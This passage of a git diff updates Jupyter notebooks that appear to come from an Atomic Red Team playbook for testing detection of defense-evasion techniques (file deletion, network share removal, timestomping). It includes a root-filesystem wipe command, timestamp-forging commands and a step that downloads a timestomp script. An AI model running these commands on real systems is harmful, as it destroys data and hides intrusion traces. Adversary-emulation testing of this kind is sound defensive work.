/tmp/victim-folder\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "33f8ae97", + "id": "5baf3e96", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "f768e8aa", + "id": "e5bf8a90", "metadata": {}, "source": [ "### Atomic Test #3 - Overwrite and delete a file with shred", @@ -67,28 +103,28 @@ { "cell_type": "code", "execution_count": null, - "id": "008dd0ce", + "id": "cbbf81ff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "dbc00228", + "id": "6677447b", "metadata": {}, "source": "### Atomic Test #4 - Delete a single file - Windows cmd\nDelete a single file from the temporary directory using cmd.exe.\nUpon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: The file to delete must exist on disk at specified location (#{file_to_delete})\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST \"%temp%\\deleteme_T1551.004\" ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\necho deleteme_T1551.004 >> %temp%\\deleteme_T1551.004\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b47f7d71", + "id": "19624736", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "09390d05", + "id": "6e69fd51", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -98,28 +134,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6ed678ce", + "id": "325cefde", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8c4e293b", + "id": "1aa0da2e", "metadata": {}, "source": "### Atomic Test #5 - Delete an entire folder - Windows cmd\nRecursively delete a folder in the temporary directory using cmd.exe.\nUpon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: The file to delete must exist on disk at specified location (#{folder_to_delete})\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST \"%temp%\\deleteme_T1551.004\" ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\nmkdir %temp%\\deleteme_T1551.004\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1f4a234e", + "id": "8d3e860b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b0cab880", + "id": "cad734e1", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -129,28 +165,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b334bf14", + "id": "191905ef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "f743ec8f", + "id": "26f28703", "metadata": {}, "source": "### Atomic Test #6 - Delete a single file - Windows PowerShell\nDelete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The file to delete must exist on disk at specified location (#{file_to_delete})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\deleteme_T1551.004) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $env:TEMP\\deleteme_T1551.004 | Out-Null\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f0f81e87", + "id": "e294131d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6d8cb694", + "id": "02f19aa7", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -160,28 +196,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6bcc80c7", + "id": "352b620d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "2cae9b58", + "id": "efe1cbdf", "metadata": {}, "source": "### Atomic Test #7 - Delete an entire folder - Windows PowerShell\nRecursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The folder to delete must exist on disk at specified location (#{folder_to_delete})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\deleteme_folder_T1551.004) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $env:TEMP\\deleteme_folder_T1551.004 -Type Directory | Out-Null\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d442501", + "id": "a21e732d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "763cb4ff", + "id": "319af535", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -191,34 +227,34 @@ { "cell_type": "code", "execution_count": null, - "id": "c0dcfc31", + "id": "1082ea7f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "12c81318", + "id": "f3383032", "metadata": {}, "source": [ "### Atomic Test #8 - Delete Filesystem - Linux", "This test deletes the entire root filesystem of a Linux system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment.\n", "**Supported Platforms:** linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\nrm -rf / --no-preserve-root > /dev/null 2> /dev/null\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\n[ \"$(uname)\" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f3351841", + "id": "363b8271", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "417b0fd7", + "id": "4aed8251", "metadata": {}, "source": [ "### Atomic Test #9 - Delete Prefetch File", @@ -232,14 +268,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c3325dd4", + "id": "cf2bafc9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "cb306f9b", + "id": "2c646dcf", "metadata": {}, "source": [ "### Atomic Test #10 - Delete TeamViewer Log Files", @@ -252,14 +288,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6f56421c", + "id": "ef676016", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "1438222f", + "id": "14308ee7", "metadata": {}, "source": "## Detection\nIt may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe." } @@ -267,13 +303,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.005.ipynb b/playbook/tactics/defense-evasion/T1070.005.ipynb index fc8e5491..915b7464 100644 --- a/playbook/tactics/defense-evasion/T1070.005.ipynb +++ b/playbook/tactics/defense-evasion/T1070.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "af0841eb", + "id": "adc80ebf", "metadata": {}, "source": "# T1070.005 - Network Share Connection Removal\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)" }, { "cell_type": "markdown", - "id": "8af33822", + "id": "ca3bfaeb", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "32eb69f6", + "id": "e45fb6bb", "metadata": {}, "source": [ "### Atomic Test #1 - Add Network Share", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e1891d1c", + "id": "3e221839", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "abe9987f", + "id": "3b483a5d", "metadata": {}, "source": [ "### Atomic Test #2 - Remove Network Share", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "da7a8cb9", + "id": "7eb53a7b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7ee64229", + "id": "d1c76755", "metadata": {}, "source": [ "### Atomic Test #3 - Remove Network Share PowerShell", @@ -67,14 +67,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ebaf8ef0", + "id": "15b4b232", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9381fcda", + "id": "70585a3c", "metadata": {}, "source": [ "### Atomic Test #4 - Disable Administrative Share Creation at Startup", @@ -88,28 +88,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ae0c74de", + "id": "5c131bc6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.005 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "6b713105", + "id": "134f9646", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /f\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareWks /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c597d7ff", + "id": "8ded9c9c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.005 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "1631bd01", + "id": "1843e9a6", "metadata": {}, "source": [ "### Atomic Test #5 - Remove Administrative Shares", @@ -123,28 +123,28 @@ { "cell_type": "code", "execution_count": null, - "id": "22dbef02", + "id": "be642c6a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.005 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "eeb78fb5", + "id": "11fd9715", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet share ADMIN$ /UNLIMITED >nul 2>&1\nnet share C$=C:\\ >nul 2>&1\nnet share IPC$ >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "23414c18", + "id": "7f970738", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.005 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "e82357b6", + "id": "05700756", "metadata": {}, "source": "## Detection\nNetwork share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity." } @@ -152,13 +152,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.006.ipynb b/playbook/tactics/defense-evasion/T1070.006.ipynb index f6f6a124..6f262d41 100644 --- a/playbook/tactics/defense-evasion/T1070.006.ipynb +++ b/playbook/tactics/defense-evasion/T1070.006.ipynb @@ -2,237 +2,358 @@ "cells": [ { "cell_type": "markdown", - "id": "3e2ea14d", + "id": "3c427bbb", "metadata": {}, "source": "# T1070.006 - Timestomp\nAdversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)" }, { "cell_type": "markdown", - "id": "667e175f", + "id": "b6de9441", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c92681ac", + "id": "816bfd54", + "metadata": {}, + "source": "### Atomic Test #1 - Set a file's access timestamp\nStomps on the access timestamp of a file\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: The file must exist in order to be timestomped\n\n##### Check Prereq Commands:\n```sh\ntest -e /tmp/T1070.006-access.txt && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\necho 'T1070.006 file access timestomp test' > /tmp/T1070.006-access.txt\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3243c173", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "84dc52dc", "metadata": {}, "source": [ - "### Atomic Test #1 - Set a file's access timestamp", - "Stomps on the access timestamp of a file\n", - "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\ntouch -a -t 197001010000.00 /opt/filename\n```" + "```sh\ntouch -a -t 197001010000.00 /tmp/T1070.006-access.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f29c2f73", + "id": "73c4d33c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "182c33f8", + "id": "9f36112b", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1070.006-access.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8482ad64", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "fecc1e18", + "metadata": {}, + "source": "### Atomic Test #2 - Set a file's modification timestamp\nStomps on the modification timestamp of a file\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: The file must exist in order to be timestomped\n\n##### Check Prereq Commands:\n```sh\ntest -e /tmp/T1070.006-modification.txt && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\necho 'T1070.006 file modification timestomp test' > /tmp/T1070.006-modification.txt\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5358e579", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "604cbb6c", "metadata": {}, "source": [ - "### Atomic Test #2 - Set a file's modification timestamp", - "Stomps on the modification timestamp of a file\n", - "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\ntouch -m -t 197001010000.00 /opt/filename\n```" + "```sh\ntouch -m -t 197001010000.00 /tmp/T1070.006-modification.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "310fa701", + "id": "8876ccc2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4e72d2b9", + "id": "880a3f7a", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1070.006-modification.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fdf0541a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "50b6f45e", "metadata": {}, "source": [ "### Atomic Test #3 - Set a file's creation timestamp", "Stomps on the create timestamp of a file\n\nSetting the creation timestamp requires changing the system clock and reverting.\nSudo or root privileges are required to change date. Use with caution.\n", "**Supported Platforms:** linux, macos", + "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nNOW=$(date)\ndate -s \"1970-01-01 00:00:00\"\ntouch /opt/filename\ndate -s \"$NOW\"\nstat /opt/filename\n```" + "```sh\nNOW=$(date +%m%d%H%M%Y)\ndate 010100001971\ntouch /tmp/T1070.006-creation.txt\ndate \"$NOW\"\nstat /tmp/T1070.006-creation.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "32a73edf", + "id": "f02f91c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "14cf70d3", + "id": "19ef4ba1", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1070.006-creation.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6f2811d5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a15415d0", + "metadata": {}, + "source": "### Atomic Test #4 - Modify file timestamps using reference file\nModifies the `modify` and `access` timestamps using the timestamps of a specified reference file.\n\nThis technique was used by the threat actor Rocke during the compromise of Linux web servers.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: The file must exist in order to be timestomped\n\n##### Check Prereq Commands:\n```sh\ntest -e /tmp/T1070.006-reference.txt && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\necho 'T1070.006 reference file timestomp test' > /tmp/T1070.006-reference.txt\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4229d721", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "383afb38", "metadata": {}, "source": [ - "### Atomic Test #4 - Modify file timestamps using reference file", - "Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.\n\nThis technique was used by the threat actor Rocke during the compromise of Linux web servers.\n", - "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\ntouch -acmr /bin/sh /opt/filename\n```" + "```sh\ntouch -acmr /bin/sh /tmp/T1070.006-reference.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "40500cf5", + "id": "2fc286a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "5d0a51ee", + "id": "2ffae358", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1070.006-reference.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e0b6f467", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "29554e64", "metadata": {}, - "source": "### Atomic Test #5 - Windows - Modify file creation timestamp with PowerShell\nModifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: A file must exist at the path (#{file_path}) to change the creation time on\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\T1551.006_timestomp.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $env:TEMP\\T1551.006_timestomp.txt -Force | Out-Null\nSet-Content $env:TEMP\\T1551.006_timestomp.txt -Value \"T1551.006 Timestomp\" -Force | Out-Null\n\n```" + "source": "### Atomic Test #5 - Windows - Modify file creation timestamp with PowerShell\nModifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: A file must exist at the path (#{file_path}) to change the creation time on\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" -Force | Out-Null\nSet-Content \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" -Value \"T1551.006 Timestomp\" -Force | Out-Null\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1db912ae", + "id": "c9974378", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "272a16f9", + "id": "cb3133cb", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nGet-ChildItem $env:TEMP\\T1551.006_timestomp.txt | % { $_.CreationTime = \"01/01/1970 00:00:00\" }\n```" + "```powershell\nGet-ChildItem \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" | % { $_.CreationTime = \"01/01/1970 00:00:00\" }\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8f925233", + "id": "48953e20", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "a4ae1249", + "id": "7fcdadf9", "metadata": {}, - "source": "### Atomic Test #6 - Windows - Modify file last modified timestamp with PowerShell\nModifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: A file must exist at the path (#{file_path}) to change the modified time on\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\T1551.006_timestomp.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $env:TEMP\\T1551.006_timestomp.txt -Force | Out-Null\nSet-Content $env:TEMP\\T1551.006_timestomp.txt -Value \"T1551.006 Timestomp\" -Force | Out-Null\n\n```" + "source": "### Atomic Test #6 - Windows - Modify file last modified timestamp with PowerShell\nModifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: A file must exist at the path (#{file_path}) to change the modified time on\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" -Force | Out-Null\nSet-Content \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" -Value \"T1551.006 Timestomp\" -Force | Out-Null\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "86f39d87", + "id": "0260c413", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d11c1b16", + "id": "ab0f4d53", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nGet-ChildItem $env:TEMP\\T1551.006_timestomp.txt | % { $_.LastWriteTime = \"01/01/1970 00:00:00\" }\n```" + "```powershell\nGet-ChildItem \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" | % { $_.LastWriteTime = \"01/01/1970 00:00:00\" }\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e4464bcb", + "id": "0f76cd21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "63cccf04", + "id": "f50ba650", "metadata": {}, - "source": "### Atomic Test #7 - Windows - Modify file last access timestamp with PowerShell\nModifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: A file must exist at the path (#{file_path}) to change the last access time on\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\T1551.006_timestomp.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $env:TEMP\\T1551.006_timestomp.txt -Force | Out-Null\nSet-Content $env:TEMP\\T1551.006_timestomp.txt -Value \"T1551.006 Timestomp\" -Force | Out-Null\n\n```" + "source": "### Atomic Test #7 - Windows - Modify file last access timestamp with PowerShell\nModifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: A file must exist at the path (\"#{file_path}\") to change the last access time on\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" -Force | Out-Null\nSet-Content \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" -Value \"T1551.006 Timestomp\" -Force | Out-Null\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b3a532a6", + "id": "3f4aac73", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2c528597", + "id": "460fff19", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nGet-ChildItem $env:TEMP\\T1551.006_timestomp.txt | % { $_.LastAccessTime = \"01/01/1970 00:00:00\" }\n```" + "```powershell\nGet-ChildItem \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" | % { $_.LastAccessTime = \"01/01/1970 00:00:00\" }\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "fb26235a", + "id": "2c9377ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "962c1b02", + "id": "c8ecc5ba", "metadata": {}, - "source": "### Atomic Test #8 - Windows - Timestomp a File\nTimestomp kxwn.lock.\n\nSuccessful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. \n\n[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: timestomp.ps1 must be present in #{file_path}.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:appdata\\Microsoft\\timestomp.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1\" -OutFile \"$env:appdata\\Microsoft\\timestomp.ps1\"\n\n```\n##### Description: kxwn.lock must be present in #{file_path}.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path -path \"$env:appdata\\Microsoft\\kxwn.lock\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $env:appdata\\Microsoft\\kxwn.lock -ItemType File\n\n```" + "source": "### Atomic Test #8 - Windows - Timestomp a File\nTimestomp kxwn.lock.\n\nSuccessful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. \n\n[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: timestomp.ps1 must be present in #{file_path}.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\timestomp.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\timestomp.ps1\"\n\n```\n##### Description: kxwn.lock must be present in #{file_path}.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path -path 